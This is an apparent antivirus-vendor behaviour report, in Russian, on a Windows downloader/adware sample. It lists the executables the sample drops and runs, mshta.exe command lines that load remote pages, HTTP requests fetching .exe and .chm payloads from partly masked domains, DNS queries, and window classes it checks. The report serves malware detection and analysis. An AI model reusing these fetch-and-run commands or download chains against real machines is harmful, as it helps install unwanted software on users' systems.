Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- %TEMP%\mp3_plugin.exe
- %TEMP%\xload.exe
- %TEMP%\mp3_plugin.exe (загружен из сети Интернет)
- %TEMP%\xload.exe (загружен из сети Интернет)
Запускает на исполнение:
- <SYSTEM32>\mshta.exe http://sn###rnet.biz/ads/lca.php
- <SYSTEM32>\mshta.exe http://sn###rnet.biz/ads/dra.php
Изменения в файловой системе:
Создает следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\download[1].php
- %TEMP%\WinFixer2006FreeInstall.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\download[1].php
- %TEMP%\gimmysmileys.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\ysb_exe[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\dra[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\lca[1].php
- %TEMP%\mp3_plugin.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\const[1].php
- %TEMP%\mma.chm
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\mta[1].chm
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\mma[1].chm
- %TEMP%\mta.chm
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\xload[1].exe
- %TEMP%\xload.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\winfix[1].chm
- %TEMP%\winfix.chm
Сетевая активность:
Подключается к:
- 'localhost':1042
- 'ys##eb.com':80
- 'localhost':1044
- 'sn###rnet.biz':80
- 'www.wi###xer.com':80
- 'ad###ension.com':80
- 'localhost':1035
- 'www.gi###cash.com':80
- 'sx##ad.com':80
TCP:
Запросы HTTP GET:
- ys##eb.com/ist/scripts/ysb_exe.php?ac##########################################
- www.wi###xer.com/download/2006/download.php?fi#########################
- ad###ension.com/pre/const.php
- sn###rnet.biz/ads/lca.php
- sn###rnet.biz/ads/dra.php
- ad###ension.com/ext1/mta.chm
- ad###ension.com/ext1/mma.chm
- ad###ension.com/ext1/winfix.chm
- www.gi###cash.com/content/download/download.php?rc######################################################################################################
- sx##ad.com/data/xload.exe
UDP:
- DNS ASK www.wi###xer.com
- DNS ASK ys##eb.com
- DNS ASK sn###rnet.biz
- DNS ASK ad###ension.com
- DNS ASK sx##ad.com
- DNS ASK www.gi###cash.com
Другое:
Ищет следующие окна:
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
